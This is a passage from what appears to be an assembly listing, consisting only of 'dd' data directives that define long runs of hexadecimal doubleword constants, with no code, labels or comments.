0C310D319h, 0F7F35A03h, 8FE1124Fh, 1A78A03Eh, 30594BC4h dd 33481BFh, 0D16C8C32h, 162CD6EFh, 52F1C03Dh, 0AA38BA3Ch dd 52609E52h, 28B92861h, 1B79730h, 0BD02A44Dh, 548766Dh dd 2654E5D5h, 13FF16B8h, 5D31AB4Ah, 0BE053933h, 0E8A6BFD1h dd 0B5BBAC2Ah, 5DF902AEh, 0C07FB70Fh, 0BF4851DEh, 3BA61093h dd 566FB800h, 0BBBE406Bh, 329D245Bh, 0E3A0880Ch, 0C8895005h dd 0BF5903F0h, 7E04CC16h, 210CA446h, 0F707A4ECh, 144A1405h dd 0FA84C047h, 0C133F28h, 5ECBFE09h, 3F43F604h, 47C081E9h dd 0E6352F2Fh, 0E74AD6CAh, 46E90BEEh, 25D1AB0Ah, 9B0499Dh dd 1FE29759h, 0DC13E63h, 3089309Fh, 18650500h, 0EE818032h dd 906C142Dh, 0B5C223h, 7C5906CAh, 20EF520Eh, 0CA4872B5h dd 3B9281C9h, 0C07B5E28h, 112367F8h, 0E9069DB6h, 4E9FEAA9h dd 2EA6F1D4h, 0CC3C15FCh, 0E343EC4Fh, 0C2118868h, 98E92508h dd 0D6293E40h, 4F46729Fh, 6085183Eh, 44A0C1D9h, 9A2659DDh dd 9015AE07h, 0C4C060AAh, 0F92BC035h, 3AA80DEDh, 4E88322h dd 17D62D24h, 0A882FE93h, 52078C05h, 7D2012FAh, 971232h dd 622BEB04h, 0A9901845h, 5668342Fh, 49803F05h, 0E9731C08h dd 0BB9CD207h, 77C9CD9Eh, 84D20043h, 6CD594A0h, 6C80CA09h dd 0CF2371B7h, 211DE3CDh, 0D6D86872h, 0B618E496h, 0F46C4287h dd 0E28943FEh, 829E710Ch, 3B330ECAh, 92EBC6AAh, 0A5B1AC5Fh dd 1406F313h, 6A6A6DDEh, 2F9F0D4Ch, 0E625F516h, 22E4661Dh dd 799F2C8Eh, 0EF83C3C3h, 4859A6B4h, 0C5644EB5h, 9AE94C70h dd 67E8BCC0h, 3163A356h, 0E1281413h, 9CAA50C4h, 50F8D991h dd 2801B009h, 0C502FEC1h, 20D30B80h, 348BA19Ah, 0FFBDBD27h dd 0B6C0D7CBh, 0B24874BAh, 478F131Dh, 0F3F7B5ECh, 3E02E666h dd 0E112ABBFh, 55D1813Fh, 5E8B9A6Fh, 0B85E99CDh, 1301184h dd 2686FFACh, 0B43F1016h, 2AAEAED8h, 21F5E9B1h, 14846800h dd 2762BBBCh, 0E9540016h, 13A1CD6Eh, 48113336h, 5F2D5824h dd 0C0E440B8h, 2618A846h, 9638DEB0h, 12E8534Dh, 0FCA3332Bh dd 61A99314h, 0D2446113h, 0ED413E12h, 0F6B82A4Eh, 2356B8B0h dd 0DE09772Dh, 742004A1h, 170AE848h, 75FF6BECh, 438DEE1Fh dd 60248D2Eh, 5A408A17h, 9B4F0105h, 0C52996B8h, 2C882858h dd 75126650h, 0C2550C0h, 26243F1Eh, 0BBE8E13Dh, 91931596h dd 5458E148h, 7FC94F0Eh, 779BF1C0h, 0C8904B8Bh, 0FB6B6602h dd 0C0DAF76Dh, 276787ABh, 7ED46468h, 0B2107B80h, 4ED1311Fh dd 68EF815Ah, 80602E8Dh, 0C71C5C43h, 2C3BE7Ah, 0FC414B79h dd 0D2A4AD18h, 12D34EC0h, 0CED6EF13h, 0BA5195BCh, 11C71B3Ch dd 0C106F311h, 0BB05391Dh, 524C9AC1h, 16E65D02h, 94059B2Dh dd 5A212FDEh, 4FB5E11Ch, 92AA0990h, 68FC98FFh, 0D8704D95h dd 0E9D4F78Bh, 0A609B468h, 3C65D990h, 0A7B4712Ch, 0DEA7CE79h dd 0CE55425Ah, 0D5288664h, 0BC80A80Ah, 12180D7Eh, 9A0E4240h dd 32DF2F7Ch, 7925CC5Eh, 8A4ACEFh, 0AC010970h, 7AB15166h dd 4B15F02Bh, 78DD73FBh, 0B88EAD2Ah, 7D303AB7h, 6B55D964h dd 0E4303995h, 0D59240E9h, 2ED3C22Ch, 0F14CF523h, 0E0DBE185h dd 61F917BDh, 470A0C60h, 51E82C96h, 0C080646h, 0E5641483h dd 0A612A850h, 595186ECh, 54E752B3h, 9217553Fh, 211B84FDh dd 627D82h, 1D97C180h, 0AE59CC28h, 0E6273B77h, 0C82AACE3h dd 3574FDA0h, 514D2912h, 680C23FDh, 0BA7D76A3h, 0E808B941h dd 0B46158BFh, 34C2532Fh, 0CF0DE855h, 515C05B8h, 0E137E94Ch dd 2A09374Eh, 7E2D69B8h, 8210D1FCh, 43AB1D1Fh, 8076E277h dd 4D45CA09h, 0F2D8F5ACh, 310271Ah, 0D5F7127Fh, 0EA5CE368h dd 31D85781h, 6448B7EFh, 0C02454C3h, 8C39FF4Fh, 0C36A848h dd 0BD2402ADh, 2659E939h, 6185AD68h, 720BC09Bh, 0D0AA7663h dd 3D4FE968h, 18BC2930h dd 835C9F54h, 7E030F26h, 187C550Ah, 144D0312h, 6C09B433h dd 0F80BE9F0h, 0F57E955Ch, 0C1CE766Bh, 2E395EE9h, 0CF57610Eh dd 0D88245Fh, 0DD29E4CCh, 27FA5C4Ch, 1280EAB2h, 1E671170h dd 3D9CB8B0h, 68E3D181h, 0E76304B5h, 65F7D754h, 0FC5B0BD3h dd 22E404DFh, 0CCFB3CCEh, 3F5EE9B2h, 0DFE2110h, 0AE7D102h dd 5F43CB60h, 704840E6h, 872F2577h, 64D4F25Eh, 0E9171AB9h dd 0BFB5E4EBh, 9F1FD21Dh, 7842953h, 8ADE0EFh, 0BA47130Bh dd 810C7005h, 0C4844ABh, 8C302AE9h, 31EB77C9h, 88811609h dd 0CB123EE2h, 0FE1C198Ah, 21CB92C3h, 1C77396h, 0E23A5A5Eh dd 40E4C4F8h, 0FD02058Dh, 9FA40F4Ah, 0B9079197h, 87B73E4Ch dd 205E4D2h, 16BB2B40h, 78525E8h, 0D550EB32h, 0EEE6946Ah dd 62226629h, 3F120A48h, 0A1741763h, 0FCEBE4FFh, 155F0AF4h dd 286DBC04h, 0C64D0456h, 815A0DE5h, 0B8D7C732h, 0E1F2C4EBh dd 2DD0F700h, 83315F3Fh, 24369C67h, 0CE2E392h, 39C5EB39h dd 22016C02h, 0C15BDA29h, 2A3B53C7h, 0FDE90948h, 6C6054D7h dd 9241203Ch, 0DB5EE0DAh, 4E963E71h, 533D2E16h, 33960CA9h dd 0F7F8870Ch, 30DDD55Ch, 0C5F67381h, 0C4DFB863h, 0BF32Ah dd 0A5B6B8BFh, 0AAC09791h, 460BED81h, 0E6E5557h, 5C7E30B6h dd 4E1231CBh, 12DCF374h, 0AE3531DAh, 0B5F92BBh, 801380F8h dd 0B30B02F1h, 0B3A2DD75h, 0D60EFB61h, 93858E21h, 0D5EDA381h dd 7FAF5FA8h, 97937B1Fh, 805B0447h, 0C9322577h, 6F815FA9h dd 0BAF92842h, 0BAECDEA4h, 0C18BEEB5h, 0F4DBE84Eh, 5A96DCAEh dd 0EEE38762h, 80165F40h, 0C64AA5FAh, 0C3F88A35h, 8639BBF5h dd 177BCA2Fh, 655227F8h, 1A32AEBh, 8B650EB8h, 9243976Eh dd 4021A5D0h, 0F9685857h, 224C04D2h, 0E10AE401h, 8611316h dd 0BC70400h, 9D295A17h, 0AD3CD74Bh, 27BC4A82h, 9E07610h dd 0DFC3315Bh, 0E90426C7h, 28BFE423h, 9BF9728h, 64A5D47h dd 3E9C9CD5h, 6B4187E9h, 39A223h, 27E6BB7Bh, 0EBC14230h dd 513ECBEh, 55C6C301h, 0E0DB1479h, 4AE9E8BDh, 3B59B1A1h dd 2A363FD1h, 25EBFB8Dh, 3652C6E8h, 1D1B4532h, 82AE55C7h dd 8E56EFC9h, 0E165E986h, 1898ECD5h, 0C757025h, 3777091Ah dd 74E7790h, 6432398Ch, 840132EEh, 4F52DFAh, 0EEA6AFE3h dd 96801B6Bh, 57A3609Dh, 5EF3011Ch, 1BAD3DAh, 1091680Bh dd 0B05AA733h, 0EAC40B48h, 0B80314D7h, 13BA6677h, 7C10AF41h dd 0FAE415h, 0B506C595h, 492FE954h, 0A78359A1h, 1A39F216h dd 434BC18h, 0D3F6E9D9h, 1F00FD3h, 7E05F8AAh, 3C164679h dd 4709A0F1h, 44E9091Ch, 0CF4E0135h, 2D32E220h, 25FA285Bh dd 26D1744Ch, 0C24FFB11h, 0D56BF34Eh, 4CB2B480h, 4B487BBAh dd 0BC50588h, 49FC6470h, 0A6401A4Ch, 4F71126Fh, 6106FE3Dh dd 4DB0E7h, 7064C8C2h, 0D789576Bh, 0BEFD70B7h, 81326CEAh dd 277AE672h, 0EE062676h, 54CF5D42h, 619B10Ch, 0D00C29E9h dd 10896812h, 0F3006DA3h, 0F7062C48h, 0CAC381DEh, 56D706Fh dd 2EF1170Ch, 3A84B1D9h, 0A92E342Dh, 53169EC1h, 98EB0DF4h dd 9E5F278Fh, 2F20ABC6h, 0EB801CD9h, 8262E46h, 782F8B68h dd 4E5779B5h, 69EBF1FFh, 0C821A2ECh, 0BDF5090Eh, 0A2C29E51h dd 0B01CB0F4h, 0C28818BCh, 0BBC5478Bh, 0D8EE7BD2h, 81EDCB2Ah dd 0CCD0560h, 0A17B62D1h, 63C86BF0h, 0EC0D25E9h, 51303968h dd 428C59BDh, 5D323F12h, 0A2B53BCCh, 0D5F0DE9Fh, 5A17C9C6h dd 12046B48h, 0CCFE3CC3h, 97D96600h, 173A5AF3h, 0DE2BFA8Ch dd 0DDE5E909h, 824961F6h, 8FEE6DB0h, 975FE41Ah, 20A01CC7h dd 4F7E70BEh, 5E5E8C01h, 0C1268EA4h, 8BC72795h, 0D8ADA3CAh dd 5FDA4892h, 77286A05h, 0FA60B7Ah, 0F1EC2994h, 49480802h dd 0F5315A44h, 0E90B184Ch, 5E0139DBh, 913B7399h, 0F2EC9258h dd 3EAB39EEh, 1F5825EDh, 0B873CE40h, 41E1901Fh, 81D9FCA0h dd 28B1C906h, 0F49240CCh, 66CF2739h, 0D2A28BD8h, 68423D5Eh dd 621554A7h, 6DC92E9h, 7D084A17h, 8CED4408h, 17585CBDh dd 347A80DFh, 7D094B7Dh, 5D226D1h, 79607A7Bh, 0D61968D7h dd 0DFE6535Ah, 61CF8100h, 6D7A5C1Eh, 11264C4h, 4E5FA3EAh dd 5561C28h, 9A51D168h, 8800E06Ah, 39BD150Ch, 4C16031h dd 0AE907EEh, 7147E4F4h, 5C12589Eh, 0B990CABDh, 452D5013h dd 0E4199825h, 20B52A1Ch, 4291EDA4h, 4C167CF1h, 0CB8BBED9h dd 0EE505385h, 0B551B270h, 0ED801255h, 236F128Fh, 0F990DF16h dd 0C4965B5Fh, 1DEA3A02h, 755663E9h, 873BF57Eh, 31780BE1h dd 0E5B5EEE0h, 841796E7h, 248BEAFCh, 52502E60h, 90506855h dd 5D666197h, 0B70F8CC4h, 589DF2D0h, 0C27AED46h, 0D6CA6098h dd 4D1AC555h, 8368D0E8h, 0D31C2A48h, 1DAC0503h, 0C0AC4E2Dh dd 21344EFCh, 11296537h, 0C246CC5h, 8D825894h, 46E562E8h dd 0E1D92409h, 4A896BC6h, 2569C775h, 0D90A7D51h, 0C89D9FDFh dd 208459D2h, 2A3FF6BFh, 4AC0614h, 2D5F5A48h, 5C0EB973h dd 0E9ED9C7Ah, 0D6C4A32Fh, 48425A83h, 0DC959278h, 897A567Ch dd 0A91EB8CBh, 0F8ECFFD4h, 8107109h, 91C8E962h, 1EF79534h dd 4CEAD1DAh, 51E7ECC7h, 82AB109h, 48F054CFh, 2B1003FBh dd 3FDA2CFBh, 59706E58h, 8058C607h, 0F00435F6h, 0B851BDC8h dd 26D861CDh, 0E005ECC0h, 0C99330D5h, 5CC3C13h, 854E54C6h dd 5B2937B3h, 30B9414h, 991BE580h, 0A93B0DC5h, 61B6276Dh dd 876F58F2h, 0DF68F2EBh, 3DA85975h, 0B85BE83Eh, 864BB59Ah dd 0CDA60452h, 0B2DF77BAh, 7F79A898h, 864FAA24h, 2F187A40h dd 7C76C186h, 78592E12h, 0B73C640Ch, 8832FA4Fh, 1B715F20h dd 27D3290Ah, 99BEA03Fh, 55F7009Eh, 7E25CABDh, 0AEE94609h dd 967DAFBh, 2065883h, 4B9DE67Ch, 85E71DB0h, 6FC62E09h dd 62B002AAh, 936043DAh, 9E0444C4h, 59CB217Eh, 0A3B2A4EBh dd 19C05209h, 0B763D831h, 0D368EED3h, 2452925h, 5901347Fh dd 9358CB80h, 0A011856Fh, 0EC2A47EBh, 55659503h, 512E54AFh dd 70123A92h, 8BA329BCh, 0E9A388C4h, 0C8C9F425h, 0FC0D03D3h dd 2B3A1F7Bh, 80379648h, 0F2015D8Fh, 0DD169Fh, 0FBBF57CAh dd 2916A374h, 0B361FA4Bh, 0EA100F0Ah, 0F32DD9C9h, 0B7D6D018h dd 0E9170E66h, 36340A3Bh, 0C84E7D82h, 5C21680Ch, 5D2EB77h dd 4030C2A0h, 59BEB909h, 0E97F5DCAh, 5AE881B7h, 80E0D3F6h dd 0BB71BF4Fh, 4E32E978h, 24319D1Bh, 6816534Dh, 0E28C4192h dd 387B7EA9h, 0C8DB4D65h, 411778CEh, 58ED2AEAh, 0E9420861h dd 5A133B99h, 2D5C9AAAh, 0BDB3C1C4h, 2E0DC689h, 3128E081h dd 0E405D5CBh, 190073F1h, 8158C509h, 2D66D2CDh, 0AF407AF0h dd 0D37F4A44h, 2CB688C7h, 0EB017711h, 85D77025h, 84DFCABFh dd 72F130E9h, 0D021D17Bh, 7879E0h, 29F320C4h, 27EDCB81h dd 0E558774Dh, 44AE304h, 0F4AA6CA7h, 0CF16B752h, 34838AB0h dd 5882DE53h, 264B5A5Eh, 0A5B6927Bh, 0C981DDC4h, 6800E769h dd 989F2195h, 82E1D301h, 336E6250h, 2CD80039h, 0F9B35311h dd 0E7480EADh, 5B945E54h, 3AF9577Ah, 7538D18Ch, 0F67C5372h dd 15D7307Dh, 376CEE3Dh, 2F16DD26h, 89760A3Fh, 0F803BF6Fh dd 0B12AE727h, 0D0C007E5h, 0D5F72868h, 3C23E0E2h, 3A931D8Dh dd 0F7AA3303h, 1640D576h, 0BE68105Eh, 0D4E7B32h, 0F27A65B1h dd 28AFD719h, 7E9759F7h, 6657D286h, 46E92ADBh, 0E0892CAFh dd 5DF802A4h, 87C049A8h dd 672E0B59h, 43250001h, 0A162F7B6h, 0E9B4933Ch, 0C252A3F6h dd 0BFE8D8DFh, 10D8DB58h, 127FC476h, 0B82966CFh, 0E9F5D8AFh dd 1CE09FD6h, 0AD9856ADh, 572C0818h, 94E32666h, 2EC58B0Dh dd 41F13FB0h, 220F80B9h, 898F8417h, 0A05AF0FFh, 66323312h dd 516D4D00h, 9E4B6496h, 9D4A2A8Ch, 93C34140h, 3709CB75h dd 15BDE09h, 4EE6D123h, 26F1E840h, 0F8574F7Ch, 0CA9525D0h dd 75D429CAh, 0AB885F34h, 129F3056h, 0FF61C89Eh, 0CE96F95Ah dd 1665F3EBh, 4DA2D0F1h, 0F0845458h, 497CF46Eh, 0F6D62D2Ch dd 16B2AB0Ch, 68C90FBBh, 524B0735h, 1DEDE968h, 67513213h dd 0DD119C04h, 9C4F27BAh, 90F89F2h, 33294AFEh, 0B938F9E3h dd 4B5B047Bh, 0CD6BBC68h, 59F18AAAh, 317F641h, 9C87FB34h dd 1B476A1h, 424A53Bh, 33C40108h, 7A2DE11Fh, 0F6EA40C4h dd 90539431h, 0DF9A13F6h, 0C0C6C2D3h, 2C1AE16Bh, 2030EE01h dd 5E58F808h, 0BB4ED4FDh, 65F29D01h, 43E62260h, 0D2065105h dd 28E90B01h, 5B2F0A28h, 0A272B4F6h, 4CB36B2Eh, 384620F8h dd 50C35E75h, 0DD2FF8B8h, 4186E509h, 643C58F3h, 5EFF61Ch dd 8E899FB5h, 0E9067693h, 6DAD6571h, 45D0020Ch, 0D129626Ch dd 80C6642h, 0BE9AF55Ch, 68279F81h, 0A7680BC6h, 89E9656Ah dd 9BD270E9h, 316DF507h, 0E1B45714h, 3C369F4h, 0AFCCBFDAh dd 16E9DF21h, 1B53C213h, 685F5401h, 38385B5Ah, 0A807AAC5h dd 587CC968h, 6CC1B7D9h, 9D563AFAh, 680AF4B9h, 445372EBh dd 28EA53h, 85384EE9h, 0ED36BCD1h, 0DBE8B02Bh, 0B8B1CBFh dd 9F3A4C2Dh, 3ECD035Fh, 58197B5Ah, 0C4106024h, 205C24C7h dd 7FFB0B2Dh, 0ED2CD525h, 0EB2F12A2h, 0F22967FFh, 8979168Eh dd 4AD2681Dh, 11987FADh, 0C012DC86h, 24B806E4h, 4928D050h dd 8101C412h, 0E7F34F1h, 0C8C6096h, 5225E3F4h, 82805829h dd 0B5B1FD08h, 0F044C20Fh, 0F74B4C0Ah, 0AE02F365h, 401FAB5Ah dd 2F33D57Eh, 4C7450EAh, 82535509h, 0F615B2A2h, 228240CAh dd 12B12BC8h, 0F7209220h, 0A4D8B78Ah, 6C837904h, 5FBC0170h dd 5C9F899Ch, 68134D44h, 2CAC0962h, 2521C0F4h, 4E4AD020h dd 4919C4C0h, 5FE92518h, 0A7FE36C2h, 8934B924h, 0CBA008EFh dd 1607B900h, 7C2112EDh, 55D92AC8h, 0D828319Dh, 0C2EAB92Ah dd 6FCBD1D5h, 9AA020E9h, 585AF588h, 0DC49CF9Ch, 0EC5CF12Bh dd 0F0772809h, 802DE9E8h, 93C4F920h, 5329C3FBh, 0CA2D4979h dd 0B10A46AAh, 1CCC1048h, 0E81E522Ch, 7CB5F849h, 2B5E8B8h dd 7BD73A6Ah, 80D7505Fh, 5F25E908h, 3B1528EFh, 0BD039C96h dd 8F337596h, 825DDDA6h, 398E40E5h, 30CB0063h, 7DC3F781h dd 39B80DF4h, 15B37A50h, 0C927D99Fh, 0EA90A055h, 0FF687648h dd 52F123Ah, 0BF239242h, 2C5E3ECAh, 0BC5D1C70h, 5DCF84CDh dd 5BFD8801h, 0D9ECD150h, 6D4C60E7h, 0E368A740h, 0F40A353Bh dd 0E8521D92h, 98975E94h, 7DECBBB2h, 58B79514h, 2D12272Bh dd 29503AC4h, 0D26067BDh, 0C672C867h, 4C30BD4Dh, 1A8845E2h dd 0B92EE179h, 8608B4C7h, 1EF62D65h, 6D0F709h, 0E5781C6Ah dd 0CACCB9DBh, 2DF65C40h, 9594C3h, 37E626FFh, 0AFBDE5E9h dd 7BBFE734h, 795F74B2h, 0CD680452h, 888ABA12h, 129D17D6h dd 8613AFA3h, 0BBFA938h, 161A3BF5h, 5FFE9858h, 3EA5F195h dd 8B921E4Eh, 0E503D147h, 121DC80Bh, 29F9F828h, 571EB8B1h dd 0C12F8482h, 9343E0EEh, 4AF9BF86h, 0E8688BB9h, 89F5120h dd 0D425D2EAh, 3ED6821Ah, 7AC140FBh, 77A02903h, 8974B7Ch dd 8209540h, 0D54D8DF8h, 5BDA0517h, 0C0FFD029h, 5EE105DBh dd 0A576D3Ch, 973F2E68h, 21C0046Fh, 102DCCB3h, 0CB6F66DEh dd 5ABA91C3h, 5ECEAC6Bh, 2B202D79h, 0D6DD5B6Dh, 0F225FEBEh dd 0C95AF991h, 0B6525301h, 3517E5B1h, 535AD028h, 0E6266190h dd 89520649h, 0CD325F1Dh, 45774129h, 90A8ADCh, 0FABA01FCh dd 203EB21Dh, 51D9438h, 0E2812E7Bh, 705333A4h, 63910C80h dd 96E92A71h, 88B56D5Eh, 2BB1FEFEh, 41979229h, 766850CCh dd 6F332A6Bh, 43ECD19Bh, 71D82831h, 31182704h, 6E887A5Bh dd 20326F4h, 47B749B0h, 6F265DD4h, 1A2CF102h, 117DC06Bh dd 0F53D5052h, 53FB40AFh, 800BB314h, 0DBF61DD2h, 5101EB5Dh dd 84E9D988h, 7F7CA3Bh, 0FFC78058h, 3AA865F5h, 0D9EBF1Ch dd 0A4140DF6h, 0A20387CFh, 0DB137C5Fh, 0F179E4Ch, 6C3070CFh dd 3B47838Ch, 8B3002BFh, 0B7B74E3Ch, 0F69FC244h, 0FB9AF88Fh dd 20756697h, 0A4A01852h, 0BA24233Ah, 0B83D7E4Fh, 740BB1Bh dd 42476EE6h, 13C6802Fh, 9514994Ch, 7DD1D8Bh, 9BA235D2h dd 651D401Bh, 4BEF0063h, 0FA57372Dh, 1D030522h, 0E938FC34h dd 90BE95A2h, 2D0668A8h, 2F748E3Eh, 92A8281h, 0E52457F0h dd 0E309BA9Ch, 6266DE5Ch, 0B2AE1h, 3E65BB22h, 95487E75h dd 0DB8737C8h, 55E562DDh, 3A89E799h, 0F6056A01h, 0F5309648h dd 2BD41D9h, 8F4201E6h, 98A8DAC5h, 0E680D202h, 4A6FE9B2h dd 0C79200B6h, 7C091D75h, 6D37252Bh, 0B80041EAh, 4B127793h dd 6804EA9Bh, 0FF10477Ah, 0BD000320h, 25CD0857h, 0BA5D5E55h dd 40E0983Fh, 0DB5CF7C6h, 12493FA0h, 12FF0D4Ch, 0F0E2A0B3h dd 2686D440h, 16F8F6C1h, 0BD39C0ADh, 9E4835AEh, 48C427C8h dd 456F65Ch, 1327037h, 0E43682F7h, 0AF002905h, 568D0D58h dd 2F577EE3h, 1879D0B0h, 27D12F88h, 688561F9h, 78A65716h dd 8D14CC0Fh, 0A118C0F7h, 0F5901A46h, 0CE2AF504h, 0E0AAB472h dd 0F64165D9h, 0D5D39A68h, 0B028AA39h, 27E39CEDh, 0FCE2D5FCh dd 5A96C3Bh, 20784C3Dh, 25D48245h, 0C6212040h, 621284A1h dd 2D590D0h, 528B456Ah, 0BE887D01h, 29C32008h, 2D3B989Ch dd 5A412050h, 0FE149301h, 26782902h, 32F360Dh, 633C467Dh dd 0A3FB4A7Dh, 82D058B7h, 7D012A40h, 0A758F3ECh, 3E284E1h dd 47289BC0h, 0C1385CA6h, 21098D06h, 880B0C24h, 82D12D53h dd 0D10117C7h, 0AD3C1346h, 91EF021Ch, 0FDD8633Eh, 79BFB680h dd 0AD5E1DE7h, 0AAF3B16h, 408446C5h, 56FC4083h, 0C53282A0h dd 7C088627h, 4C798B8Fh, 49EE3875h, 0B359BDCFh, 2235224Bh dd 0D7C6207Fh, 0C60643Eh, 0F553940Ch, 8BF39197h, 4BE35455h dd 68E2AA84h, 5F2EFE60h, 73800CE8h, 0C1834828h, 4ED10210h dd 36A2560Eh, 0FBE407B2h, 4162A344h, 0F01017E3h, 0F4DD5AF8h dd 1FB1F800h, 817B5A2Ch, 2F2AEC8h, 0E4027C59h, 14ECB9F5h dd 57D8E50h, 3B1C49FFh, 904627FFh, 292A9830h, 6E8BEF25h dd 69E9134Dh, 78524187h, 6B4D2A32h, 841AF5B2h, 0ED56EB75h dd 80513178h, 101AFBBEh, 847B5B69h, 0BA432C64h, 0C5A765C9h dd 19BCECDAh, 0D21044BEh, 7875EA00h, 4057E925h, 1F77BB29h dd 8E648855h, 0C12311CBh, 9210505Eh, 0F713D22Dh, 46C600D7h dd 31922E21h, 0E9A3DF63h, 0AAFD9460h, 0F360B04Fh, 0C930F53Fh dd 0AD293E4Bh, 2B9A5D58h, 20C44181h, 7520A4BFh, 0D66E480Bh dd 0DDFB5B24h, 6F269BF9h, 0BA001539h, 48521E53h, 0E728DD69h dd 1214B058h, 0BA9B6BCEh, 71AE5D01h, 3061676Fh, 685C423Bh dd 0E7DD2563h, 54FA10EDh, 0FE40B929h, 8992B656h, 5EEE1BA5h dd 2576812h, 95007BF3h, 0E972457Fh, 1AC4DA0Bh, 0C685CE31h dd 0C08737E4h, 713AF610h, 0DB957CCFh, 0B1401777h, 47B82B27h dd 6B91EA02h, 0B9E8479Dh, 26125504h, 0D0AAF229h, 0B4B25299h dd 21628AF0h, 814D663Ch dd 741EF5FCh, 0EA855DDh, 633F2D8Dh, 0CE08DB51h, 0FDBF0303h dd 31FA4EEDh, 8BBE87D7h, 67E55F9Bh, 0EE9EF525h, 4CC76813h dd 6748D18Ah, 0D030804Ah, 0F14880E1h, 628D2DBBh, 68187EA7h dd 660D02DFh, 0E8607551h, 5124F32h, 240E5208h, 13D4E434h dd 6ECEA1h, 2129E285h, 5702094Bh, 0A939D6BFh, 0C0484260h dd 4FD05E3h, 2BE9FA31h, 0C2FAAC9Ah, 0FC1B9968h, 6651C65Eh dd 0B4624C02h, 5FE3D145h, 9C257FE6h, 0E9B7F4FAh, 2E7765B1h dd 5F5D3204h, 0C28627ABh, 9EAAF96h, 0E8FAFF13h, 8C8E61h dd 1E02EB81h, 0C90ED329h, 46A9B8B7h, 0F6FD0757h, 36C380C0h dd 73B42D50h, 94976570h, 0F9ED062Fh, 0C480801h, 45C57600h dd 5F6A2DB7h, 0B6075D8h, 2A6177CCh, 5DD2A1DFh, 0FF743102h dd 280F0EE7h, 0CFCA3BABh, 0BFC420BFh, 3739E4C8h, 0A828BE24h dd 0A34A893Dh, 0C7C2FDEEh, 405D3002h, 290BFA5Eh, 0E39D8280h dd 0A2BF0033h, 6960351Fh, 290964Ch, 0FE010587h, 901976E9h dd 482FCE6Bh, 0D041072Dh, 1E330462h, 0C0F12132h, 1655C187h dd 0D27AE32Fh, 50E64805h, 832DC301h, 615AF46Eh, 911A406Ah dd 1F4C824Ch, 5ED02ED5h, 0A6EE0C30h, 1DEB3E49h, 6FAAE603h dd 24042B5Eh, 3CDF4CB4h, 4926DB02h, 5EF0F1C0h, 29593Ah dd 0E62E4005h, 0F9BBE947h, 923B0935h, 0A85C5290h, 0E7C15F04h dd 0F20485D0h, 683744D6h, 377DF726h, 0CD1079C0h, 75E91258h dd 345CD0ECh, 0F1A0465Ah, 896A586h, 5FC1044Fh, 0C20418ADh dd 0CC201D09h, 29076EBCh, 0E056764h, 7747EC22h, 7049A62h dd 8E09B45Fh, 7C9FF370h, 0DB5F7A21h, 93E98D1Ah, 0FFC02B7Dh dd 9821ED3Bh, 656F0E2Bh, 0C5C05276h, 51D4052Dh, 94E5C130h dd 7C2BECEDh, 672AC171h, 2A0E9EF2h, 0F3297B81h, 1273F320h dd 0EB4F6C52h, 0F70571CEh, 0F9F1E9D3h, 0FFED18EAh, 2604876Ch dd 27420F9Fh, 70AA37Fh, 74CB9A53h, 22C505BDh, 2166AA01h dd 20AF1B3Ch, 0C6070C5Ah, 17FB337h, 137B90CCh, 0B2AD141h dd 96DEF0FBh, 0A94D0ABBh, 0AF1484C6h, 0C904D69Eh, 9A1C0A8Dh dd 0ABD55EF5h, 3407665h, 327B3E39h, 42E5F67Fh, 23575D08h dd 3D70A58h, 3FB0F7C1h, 42D9167Fh, 8A403B6Dh, 26B2211Ah dd 83680256h, 5E40BC17h, 6287505Fh, 47E90A04h, 2850C0F0h dd 0E8A48AE5h, 0C1FE0205h, 16F053E9h, 26220BBEh, 635030F7h dd 0E108F095h, 2DC3553Ch, 80ED3007h, 0F3E9D840h, 4B8086B5h dd 747E09C4h, 490540AAh, 0A5D2AC5Ch, 3F0B99FEh, 0A9D356E9h dd 0AD3D1607h, 54E0A6C9h, 460B9EDEh, 7023A55h, 8958F752h dd 0F5CCE0CDh, 76A1F45Ch, 93E5053Ah, 7F6011h, 0BFEEF1BCh dd 0EA50019Dh, 24FC2AFh, 0B64E0C8Ah, 0D2F24A4Ch, 18D2FBC4h dd 2E892254h, 0BBFFCC9Ch, 0F1A18650h, 0FC4F183Ch, 0F952CAAh dd 0A7025093h, 0EA1729E7h, 0D8E90042h, 0FCB31FBAh, 871537E9h dd 4CE6605Bh, 12F63CE0h, 0F3921A4Fh, 25424008h, 100F1361h dd 0EFBDB009h, 8A3B0C45h, 0E7C518D7h, 1EF4ED55h, 0DC6A7576h dd 0F317F003h, 79720CC2h, 0FABAB1F6h, 39255858h, 0B9EB8E07h dd 1B1DD728h, 5AD31678h, 0B1BD301Fh, 10EB28E3h, 0B16DEC3Eh dd 65816136h, 0DA1558C2h, 0D3C57831h, 976C49A4h, 72D691A7h dd 0C7558FD8h, 0D2173FF8h, 20AEA4BBh, 1CC3091Eh, 0D84B0D3h dd 4F8C9AFEh, 0C8EF4E21h, 6848D07Fh, 83D1D06h, 86EE801h dd 6C51412Dh, 0C02594F8h, 9055486Ch, 0FB50293Bh, 0BBBA16CDh dd 3AF0E24Fh, 0FCBD811Eh, 7E506155h, 70EA9B6h, 2CE9178Dh dd 0B85C74F4h, 2C5BECCBh, 10127491h, 0F3800FFAh, 0F724091Eh dd 2A07B049h, 0A1EC5A12h, 405B9C4h, 0A0FF5B58h, 44F8FD75h dd 0F518AB69h, 9ACA73E3h, 0CDF7944Ah, 6186A0EBh, 0C05A640Eh dd 0C5F743EDh, 0D4C7ADh, 20B551E8h, 0E9C7F4F5h, 6B40AC4Bh dd 587DFAEBh, 0B80CC779h, 0C42B845Bh, 1A678415h, 140B0C08h dd 0B3FBB25Fh, 274F77F7h, 0B1F209B7h, 6F590881h, 0BF58019Ch dd 0F46C21D9h, 0E9530B02h, 95D5A02Fh, 2FE120C9h, 775314C6h dd 0BFD64B3Ch, 6C850076h, 0E02D5A3Bh, 78FF356Ah, 481627A7h dd 821CD5F4h, 50BA584h, 90C04F5Fh, 0E1393DCDh, 38E9F364h dd 995ADDFAh, 0A33F6047h, 0D82E1825h, 911F4FB9h, 5378124h dd 0C46BA3C9h, 92F7EC60h, 7DE68D46h, 9FC706EDh, 727C4461h dd 5C870560h, 9866114Ch, 60CC0131h, 30E96436h, 0B0453478h dd 77244A01h, 0C608B12Ch, 4AE32335h, 8929E81Eh, 634C8E53h dd 60E9BBB7h, 0C0A9FFE2h, 594FEC2Dh, 0C2891004h, 300CD9FBh dd 0D49C5ACAh, 0CA20CE20h, 0AD5D4BB4h, 4876C1E3h, 0E56A6573h dd 1C080676h, 0AD5A3E0Bh, 4A40003Fh, 955FD959h, 0C1076CF6h dd 0C0EEC915h, 24294CDh, 52A9BF69h, 4072D20Fh, 6F32F3F4h dd 